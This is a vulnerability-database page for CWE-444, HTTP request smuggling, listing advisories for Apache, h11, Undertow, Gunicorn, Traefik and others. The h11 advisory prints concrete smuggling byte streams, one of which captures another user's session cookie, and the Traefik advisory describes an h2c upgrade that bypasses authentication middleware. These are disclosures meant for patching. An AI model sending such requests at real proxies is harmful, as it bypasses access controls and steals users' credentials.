CWE-444
AllowedInconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Abstraction: Base · Status: Incomplete
The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.
657 vulnerabilities reference this CWE, most recent first.
GHSA-VQ42-CHWJ-GJ93
Vulnerability from github – Published: 2022-05-01 02:04 – Updated: 2025-04-03 04:14The Apache HTTP server before 1.3.34, and 2.0.x before 2.0.55, when acting as an HTTP proxy, allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a "Transfer-Encoding: chunked" header and a Content-Length header, which causes Apache to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka "HTTP Request Smuggling."
{
"affected": [],
"aliases": [
"CVE-2005-2088"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2005-07-05T04:00:00Z",
"severity": "MODERATE"
},
"details": "The Apache HTTP server before 1.3.34, and 2.0.x before 2.0.55, when acting as an HTTP proxy, allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a \"Transfer-Encoding: chunked\" header and a Content-Length header, which causes Apache to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka \"HTTP Request Smuggling.\"",
"id": "GHSA-vq42-chwj-gj93",
"modified": "2025-04-03T04:14:53Z",
"published": "2022-05-01T02:04:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2005-2088"
},
{
"type": "WEB",
"url": "https://secure-support.novell.com/KanisaPlatform/Publishing/741/3222109_f.SAL_Public.html"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A840"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1629"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1526"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1237"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11452"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf6449464fd8b7437704c55f88361b66f12d5b5f90bcce66af4be4ba9@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf6449464fd8b7437704c55f88361b66f12d5b5f90bcce66af4be4ba9%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/re895fc1736d25c8cf57e102c871613b8aeec9ea26fd8a44e7942b5ab@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/re895fc1736d25c8cf57e102c871613b8aeec9ea26fd8a44e7942b5ab%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd65d8ba68ba17e7deedafbf5bb4899f2ae4dad781d21b931c2941ac3@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd65d8ba68ba17e7deedafbf5bb4899f2ae4dad781d21b931c2941ac3%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9f93cf6dde308d42a9c807784e8102600d0397f5f834890708bf6920@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9f93cf6dde308d42a9c807784e8102600d0397f5f834890708bf6920%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9e8622254184645bc963a1d47c5d47f6d5a36d6f080d8d2c43b2b142@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9e8622254184645bc963a1d47c5d47f6d5a36d6f080d8d2c43b2b142%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r8828e649175df56f1f9e3919938ac7826128525426e2748f0ab62feb@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r8828e649175df56f1f9e3919938ac7826128525426e2748f0ab62feb%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r734a07156abf332d5ab27fb91d9d962cacfef4f3681e44056f064fa8@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r734a07156abf332d5ab27fb91d9d962cacfef4f3681e44056f064fa8%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r5001ecf3d6b2bdd0b732e527654248abb264f08390045d30709a92f6@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r5001ecf3d6b2bdd0b732e527654248abb264f08390045d30709a92f6%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r2cb985de917e7da0848c440535f65a247754db8b2154a10089e4247b@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r2cb985de917e7da0848c440535f65a247754db8b2154a10089e4247b%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r0276683d8e1e07153fc8642618830ac0ade85b9ae0dc7b07f63bb8fc@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r0276683d8e1e07153fc8642618830ac0ade85b9ae0dc7b07f63bb8fc%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/5df9bfb86a3b054bb985a45ff9250b0332c9ecc181eec232489e7f79@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/5df9bfb86a3b054bb985a45ff9250b0332c9ecc181eec232489e7f79%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/54a42d4b01968df1117cea77fc53d6beb931c0e05936ad02af93e9ac@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/54a42d4b01968df1117cea77fc53d6beb931c0e05936ad02af93e9ac%40%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "http://docs.info.apple.com/article.html?artnum=302847"
},
{
"type": "WEB",
"url": "http://lists.trustix.org/pipermail/tsl-announce/2005-October/000354.html"
},
{
"type": "WEB",
"url": "http://marc.info/?l=apache-httpd-announce\u0026m=112931556417329\u0026w=3"
},
{
"type": "WEB",
"url": "http://seclists.org/lists/bugtraq/2005/Jun/0025.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/14530"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/17319"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/17487"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/17813"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/19072"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/19073"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/19185"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/19317"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/23074"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/604"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1014323"
},
{
"type": "WEB",
"url": "http://slackware.com/security/viewer.php?l=slackware-security\u0026y=2005\u0026m=slackware-security.600000"
},
{
"type": "WEB",
"url": "http://sunsolve.sun.com/search/document.do?assetkey=1-26-102197-1"
},
{
"type": "WEB",
"url": "http://sunsolve.sun.com/search/document.do?assetkey=1-26-102198-1"
},
{
"type": "WEB",
"url": "http://support.avaya.com/elmodocs2/security/ASA-2006-081.htm"
},
{
"type": "WEB",
"url": "http://www-1.ibm.com/support/search.wss?rs=0\u0026q=PK13959\u0026apar=only"
},
{
"type": "WEB",
"url": "http://www-1.ibm.com/support/search.wss?rs=0\u0026q=PK16139\u0026apar=only"
},
{
"type": "WEB",
"url": "http://www.apache.org/dist/httpd/CHANGES_1.3"
},
{
"type": "WEB",
"url": "http://www.apache.org/dist/httpd/CHANGES_2.0"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2005/dsa-803"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2005/dsa-805"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDKSA-2005:130"
},
{
"type": "WEB",
"url": "http://www.novell.com/linux/security/advisories/2005_18_sr.html"
},
{
"type": "WEB",
"url": "http://www.novell.com/linux/security/advisories/2005_46_apache.html"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2005-582.html"
},
{
"type": "WEB",
"url": "http://www.securiteam.com/securityreviews/5GP0220G0U.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/428138/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/14106"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/15647"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/usn-160-2"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2005/2140"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2005/2659"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/0789"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/1018"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/4680"
},
{
"type": "WEB",
"url": "http://www.watchfire.com/resources/HTTP-Request-Smuggling.pdf"
},
{
"type": "WEB",
"url": "http://www1.itrc.hp.com/service/cki/docDisplay.do?docId=c00612828"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-VQFR-H8MV-GHFJ
Vulnerability from github – Published: 2025-04-24 16:07 – Updated: 2025-04-24 21:41Impact
A leniency in h11's parsing of line terminators in chunked-coding message bodies can lead to request smuggling vulnerabilities under certain conditions.
Details
HTTP/1.1 Chunked-Encoding bodies are formatted as a sequence of "chunks", each of which consists of:
- chunk length
\r\nlengthbytes of content\r\n
In versions of h11 up to 0.14.0, h11 instead parsed them as:
- chunk length
\r\nlengthbytes of content- any two bytes
i.e. it did not validate that the trailing \r\n bytes were correct, and if you put 2 bytes of garbage there it would be accepted, instead of correctly rejecting the body as malformed.
By itself this is harmless. However, suppose you have a proxy or reverse-proxy that tries to analyze HTTP requests, and your proxy has a different bug in parsing Chunked-Encoding, acting as if the format is:
- chunk length
\r\nlengthbytes of content- more bytes of content, as many as it takes until you find a
\r\n
For example, pound had this bug -- it can happen if an implementer uses a generic "read until end of line" helper to consumes the trailing \r\n.
In this case, h11 and your proxy may both accept the same stream of bytes, but interpret them differently. For example, consider the following HTTP request(s) (assume all line breaks are \r\n):
GET /one HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
5
AAAAAXX2
45
0
GET /two HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
0
Here h11 will interpret it as two requests, one with body AAAAA45 and one with an empty body, while our hypothetical buggy proxy will interpret it as a single request, with body AAAAXX20\r\n\r\nGET /two .... And any time two HTTP processors both accept the same string of bytes but interpret them differently, you have the conditions for a "request smuggling" attack. For example, if /two is a dangerous endpoint and the job of the reverse proxy is to stop requests from getting there, then an attacker could use a bytestream like the above to circumvent this protection.
Even worse, if our buggy reverse proxy receives two requests from different users:
GET /one HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
5
AAAAAXX999
0
GET /two HTTP/1.1
Host: localhost
Cookie: SESSION_KEY=abcdef...
...it will consider the first request to be complete and valid, and send both on to the h11-based web server over the same socket. The server will then see the two concatenated requests, and interpret them as one request to /one whose body includes /two's session key, potentially allowing one user to steal another's credentials.
Patches
Fixed in h11 0.15.0.
Workarounds
Since exploitation requires the combination of buggy h11 with a buggy (reverse) proxy, fixing either component is sufficient to mitigate this issue.
Credits
Reported by Jeppe Bonde Weikop on 2025-01-09.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "h11"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-43859"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-24T16:07:56Z",
"nvd_published_at": "2025-04-24T19:15:47Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nA leniency in h11\u0027s parsing of line terminators in chunked-coding message bodies can lead to request smuggling vulnerabilities under certain conditions.\n\n### Details\n\nHTTP/1.1 Chunked-Encoding bodies are formatted as a sequence of \"chunks\", each of which consists of:\n\n- chunk length\n- `\\r\\n`\n- `length` bytes of content\n- `\\r\\n`\n\nIn versions of h11 up to 0.14.0, h11 instead parsed them as:\n\n- chunk length\n- `\\r\\n`\n- `length` bytes of content\n- any two bytes\n\ni.e. it did not validate that the trailing `\\r\\n` bytes were correct, and if you put 2 bytes of garbage there it would be accepted, instead of correctly rejecting the body as malformed.\n\nBy itself this is harmless. However, suppose you have a proxy or reverse-proxy that tries to analyze HTTP requests, and your proxy has a _different_ bug in parsing Chunked-Encoding, acting as if the format is:\n\n- chunk length\n- `\\r\\n`\n- `length` bytes of content\n- more bytes of content, as many as it takes until you find a `\\r\\n`\n\nFor example, [pound](https://github.com/graygnuorg/pound/pull/43) had this bug -- it can happen if an implementer uses a generic \"read until end of line\" helper to consumes the trailing `\\r\\n`.\n\nIn this case, h11 and your proxy may both accept the same stream of bytes, but interpret them differently. For example, consider the following HTTP request(s) (assume all line breaks are `\\r\\n`):\n\n```\nGET /one HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n5\nAAAAAXX2\n45\n0\n\nGET /two HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n0\n```\n\nHere h11 will interpret it as two requests, one with body `AAAAA45` and one with an empty body, while our hypothetical buggy proxy will interpret it as a single request, with body `AAAAXX20\\r\\n\\r\\nGET /two ...`. And any time two HTTP processors both accept the same string of bytes but interpret them differently, you have the conditions for a \"request smuggling\" attack. For example, if `/two` is a dangerous endpoint and the job of the reverse proxy is to stop requests from getting there, then an attacker could use a bytestream like the above to circumvent this protection.\n\nEven worse, if our buggy reverse proxy receives two requests from different users:\n\n```\nGET /one HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n5\nAAAAAXX999\n0\n```\n\n```\nGET /two HTTP/1.1\nHost: localhost\nCookie: SESSION_KEY=abcdef...\n```\n\n...it will consider the first request to be complete and valid, and send both on to the h11-based web server over the same socket. The server will then see the two concatenated requests, and interpret them as _one_ request to `/one` whose body includes `/two`\u0027s session key, potentially allowing one user to steal another\u0027s credentials.\n\n### Patches\n\nFixed in h11 0.15.0.\n\n### Workarounds\n\nSince exploitation requires the combination of buggy h11 with a buggy (reverse) proxy, fixing either component is sufficient to mitigate this issue.\n\n### Credits\n\nReported by Jeppe Bonde Weikop on 2025-01-09.",
"id": "GHSA-vqfr-h8mv-ghfj",
"modified": "2025-04-24T21:41:36Z",
"published": "2025-04-24T16:07:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-hyper/h11/security/advisories/GHSA-vqfr-h8mv-ghfj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43859"
},
{
"type": "WEB",
"url": "https://github.com/python-hyper/h11/commit/114803a29ce50116dc47951c690ad4892b1a36ed"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-hyper/h11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "h11 accepts some malformed Chunked-Encoding bodies"
}
GHSA-VQQJ-9CMV-HX43
Vulnerability from github – Published: 2026-03-27 18:31 – Updated: 2026-06-11 00:32A flaw was found in Undertow. When Undertow receives an HTTP request where the first header line starts with one or more spaces, it incorrectly processes the request by stripping these leading spaces. This behavior, which violates HTTP standards, can be exploited by a remote attacker to perform request smuggling. Request smuggling allows an attacker to bypass security mechanisms, access restricted information, or manipulate web caches, potentially leading to unauthorized actions or data exposure.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.undertow:undertow-parent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.3.23.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28369"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T23:14:40Z",
"nvd_published_at": "2026-03-27T17:16:28Z",
"severity": "HIGH"
},
"details": "A flaw was found in Undertow. When Undertow receives an HTTP request where the first header line starts with one or more spaces, it incorrectly processes the request by stripping these leading spaces. This behavior, which violates HTTP standards, can be exploited by a remote attacker to perform request smuggling. Request smuggling allows an attacker to bypass security mechanisms, access restricted information, or manipulate web caches, potentially leading to unauthorized actions or data exposure.",
"id": "GHSA-vqqj-9cmv-hx43",
"modified": "2026-06-11T00:32:03Z",
"published": "2026-03-27T18:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28369"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:25125"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:25126"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-28369"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2443262"
},
{
"type": "PACKAGE",
"url": "https://github.com/undertow-io/undertow"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Undertow is Vulnerable to HTTP Request/Response Smuggling"
}
GHSA-VVR6-23F2-VP62
Vulnerability from github – Published: 2022-02-11 00:00 – Updated: 2022-04-23 00:03In SAP NetWeaver Application Server Java - versions KRNL64NUC 7.22, 7.22EXT, 7.49, KRNL64UC, 7.22, 7.22EXT, 7.49, 7.53, KERNEL 7.22, 7.49, 7.53, an unauthenticated attacker could submit a crafted HTTP server request which triggers improper shared memory buffer handling. This could allow the malicious payload to be executed and hence execute functions that could be impersonating the victim or even steal the victim's logon session.
{
"affected": [],
"aliases": [
"CVE-2022-22532"
],
"database_specific": {
"cwe_ids": [
"CWE-390",
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-09T23:15:00Z",
"severity": "CRITICAL"
},
"details": "In SAP NetWeaver Application Server Java - versions KRNL64NUC 7.22, 7.22EXT, 7.49, KRNL64UC, 7.22, 7.22EXT, 7.49, 7.53, KERNEL 7.22, 7.49, 7.53, an unauthenticated attacker could submit a crafted HTTP server request which triggers improper shared memory buffer handling. This could allow the malicious payload to be executed and hence execute functions that could be impersonating the victim or even steal the victim\u0027s logon session.",
"id": "GHSA-vvr6-23f2-vp62",
"modified": "2022-04-23T00:03:39Z",
"published": "2022-02-11T00:00:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22532"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/3123427"
},
{
"type": "WEB",
"url": "https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day+-+February+2022"
},
{
"type": "WEB",
"url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VWCX-FFX9-JW3X
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-05-24 17:38IBM Emptoris Sourcing 10.1.0, 10.1.1, and 10.1.3 is vulnerable to web cache poisoning, caused by improper input validation by modifying HTTP request headers. IBM X-Force ID: 190987.
{
"affected": [],
"aliases": [
"CVE-2020-4896"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-07T18:15:00Z",
"severity": "MODERATE"
},
"details": "IBM Emptoris Sourcing 10.1.0, 10.1.1, and 10.1.3 is vulnerable to web cache poisoning, caused by improper input validation by modifying HTTP request headers. IBM X-Force ID: 190987.",
"id": "GHSA-vwcx-ffx9-jw3x",
"modified": "2022-05-24T17:38:15Z",
"published": "2022-05-24T17:38:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4896"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/190987"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6398284"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W3H3-4RJ7-4PH4
Vulnerability from github – Published: 2024-04-16 00:30 – Updated: 2025-09-29 21:13Gunicorn fails to properly validate Transfer-Encoding headers, leading to HTTP Request Smuggling (HRS) vulnerabilities. By crafting requests with conflicting Transfer-Encoding headers, attackers can bypass security restrictions and access restricted endpoints. This issue is due to Gunicorn's handling of Transfer-Encoding headers, where it incorrectly processes requests with multiple, conflicting Transfer-Encoding headers, treating them as chunked regardless of the final encoding specified. This vulnerability has been shown to allow access to endpoints restricted by gunicorn. This issue has been addressed in version 22.0.0.
To be affected users must have a network path which does not filter out invalid requests. These users are advised to block access to restricted endpoints via a firewall or other mechanism if they are unable to update.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "gunicorn"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "22.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-1135"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-16T02:54:35Z",
"nvd_published_at": "2024-04-16T00:15:07Z",
"severity": "HIGH"
},
"details": "Gunicorn fails to properly validate Transfer-Encoding headers, leading to HTTP Request Smuggling (HRS) vulnerabilities. By crafting requests with conflicting Transfer-Encoding headers, attackers can bypass security restrictions and access restricted endpoints. This issue is due to Gunicorn\u0027s handling of Transfer-Encoding headers, where it incorrectly processes requests with multiple, conflicting Transfer-Encoding headers, treating them as chunked regardless of the final encoding specified. This vulnerability has been shown to allow access to endpoints restricted by gunicorn. This issue has been addressed in version 22.0.0.\n\nTo be affected users must have a network path which does not filter out invalid requests. These users are advised to block access to restricted endpoints via a firewall or other mechanism if they are unable to update.",
"id": "GHSA-w3h3-4rj7-4ph4",
"modified": "2025-09-29T21:13:05Z",
"published": "2024-04-16T00:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1135"
},
{
"type": "WEB",
"url": "https://github.com/benoitc/gunicorn/issues/3091"
},
{
"type": "WEB",
"url": "https://github.com/benoitc/gunicorn/pull/3113"
},
{
"type": "WEB",
"url": "https://github.com/benoitc/gunicorn/commit/ac29c9b0a758d21f1e0fb3b3457239e523fa9f1d"
},
{
"type": "PACKAGE",
"url": "https://github.com/benoitc/gunicorn"
},
{
"type": "WEB",
"url": "https://github.com/benoitc/gunicorn/releases/tag/22.0.0"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/22158e34-cfd5-41ad-97e0-a780773d96c1"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00027.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/12/msg00018.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Request smuggling leading to endpoint restriction bypass in Gunicorn"
}
GHSA-W4G5-MCC7-3767
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-05-24 17:38SAP Commerce Cloud, versions - 1808, 1811, 1905, 2005, 2011, allows an authenticated attacker to include invalidated data in the HTTP response Content Type header, due to improper input validation, and sent to a Web user. A successful exploitation of this vulnerability may lead to advanced attacks, including cross-site scripting and page hijacking.
{
"affected": [],
"aliases": [
"CVE-2021-21445"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-12T15:15:00Z",
"severity": "MODERATE"
},
"details": "SAP Commerce Cloud, versions - 1808, 1811, 1905, 2005, 2011, allows an authenticated attacker to include invalidated data in the HTTP response Content Type header, due to improper input validation, and sent to a Web user. A successful exploitation of this vulnerability may lead to advanced attacks, including cross-site scripting and page hijacking.",
"id": "GHSA-w4g5-mcc7-3767",
"modified": "2022-05-24T17:38:51Z",
"published": "2022-05-24T17:38:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21445"
},
{
"type": "WEB",
"url": "https://i7p.wdf.sap.corp/sap/support/notes/2984034"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/2984034"
},
{
"type": "WEB",
"url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=564760476"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W4V4-9RW7-5326
Vulnerability from github – Published: 2026-09-10 23:04 – Updated: 2026-09-10 23:04Summary
There is a high-severity request-smuggling vulnerability in Traefik's handling of the HTTP/1.1 Upgrade mechanism. Since Traefik moved to unencrypted HTTP/2 with prior knowledge (Go 1.24), a client-initiated Upgrade: h2c request header and its connection-specific HTTP2-Settings header were forwarded to the backend. A backend that honours the h2c upgrade and answers 101 Switching Protocols puts Traefik into a raw byte tunnel that bypasses the router and the entire middleware chain (authentication, IPAllowList, rate limiting) on a shared backend. The fix stops forwarding the Upgrade: h2c token and the HTTP2-Settings header; Upgrade: websocket is unaffected. Exploitation requires a backend that upgrades h2c without validating the Connection listing; common off-the-shelf servers were not exploitable in testing.
Traefik v3.4.2 through v3.6 are end-of-life and are also affected; users on those versions must upgrade to v3.7.13.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.57
- https://github.com/traefik/traefik/releases/tag/v3.7.13
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description # Summary Traefik's default HTTP reverse proxy forwards arbitrary `Connection: Upgrade` / `Upgrade: ` requests to the backend. Upgrade tokens are not restricted to protocols explicitly supported by Traefik. This is exploitable when a backend accepts a non-WebSocket upgrade such as `h2c` and responds with `101 Switching Protocols`. Traefik then switches the connection into a raw byte tunnel and stops applying the HTTP routing/middleware chain. An attacker can abuse an unprotected router pointing to the backend to establish the tunnel, then send HTTP/2 requests to other paths on the same backend. Those requests bypass the Traefik router and are therefore not subject to middleware attached to the corresponding protected route. For example:/public /admin
(no auth) (BasicAuth)
| |
+----------- same backend ------+
^
|
h2c tunnel
|
attacker
This allows middleware such as `BasicAuth`, `ForwardAuth`, `IPAllowList`, and `RateLimit` to be bypassed. Requests sent over the tunnel also bypass Traefik's normal access logging, metrics, and tracing.
The core issue is **unrestricted client-initiated protocol upgrades combined with loss of the HTTP routing/middleware layer after `101 Switching Protocols`**.
# Technical Details
The default proxy implementation is `pkg/proxy/httputil` (the fast proxy remains experimental and is disabled by default).
The relevant request path is:
* `pkg/middlewares/forwardedheaders/forwarded_header.go` (`removeConnectionHeaders`, ~lines 198-234)
When `Connection: Upgrade` is present, the `Upgrade` header is preserved and forwarded downstream. There is no validation that the upgrade token is `websocket`.
* `pkg/proxy/httputil/proxy.go` (`isWebSocketUpgrade`, ~line 170)
WebSocket receives special header handling through `cleanWebSocketHeaders`, but this is not an allowlist. Other upgrade protocols are still passed through.
* `pkg/server/service/smart_roundtripper.go` (`RoundTrip`, ~line 56)
Requests containing `Connection: Upgrade` are sent to the backend over HTTP/1, allowing the backend to perform the upgrade.
* `net/http/httputil.ReverseProxy`
When the backend returns `101 Switching Protocols`, the reverse proxy switches to tunnel mode and copies bytes between the client and backend.
The security boundary breaks at this point.
The Traefik router and middleware chain are selected only for the initial HTTP/1 request. After the backend returns `101`, Traefik no longer parses the connection as HTTP requests and does not re-run routing or middleware for subsequent HTTP/2 streams.
The resulting flow is:
Attacker
|
| GET /public
| Connection: Upgrade
| Upgrade: h2c
v
Traefik
|
| r-public (no auth)
v
Backend
|
| 101 Switching Protocols
v
[raw byte tunnel]
|
| HTTP/2 GET /admin
v
Backend
The `/admin` request never reaches the `/admin` router. It is sent directly to the backend over the existing tunnel.
I found no upgrade-token allowlist or `h2c` rejection in the relevant proxy path.
## This is distinct from configured h2c support
Traefik already supports explicitly configured h2c backends. In that case, the operator opts into HTTP/2 communication through the `h2c://` service scheme / `transportH2C` configuration.
This issue is different.
The upgrade is initiated by the client through the `Upgrade` header. Traefik forwards it regardless of whether the operator configured h2c for that backend.
Therefore, a plain HTTP/1 backend can still be affected if it happens to accept `Upgrade: h2c` and return `101`. The protocol switch is initiated by the client, and Traefik does not gate it.
# PoC
Reproduced against a Traefik binary built from master at commit `9bb0e55`:
go build ./cmd/traefik
Go 1.26.4
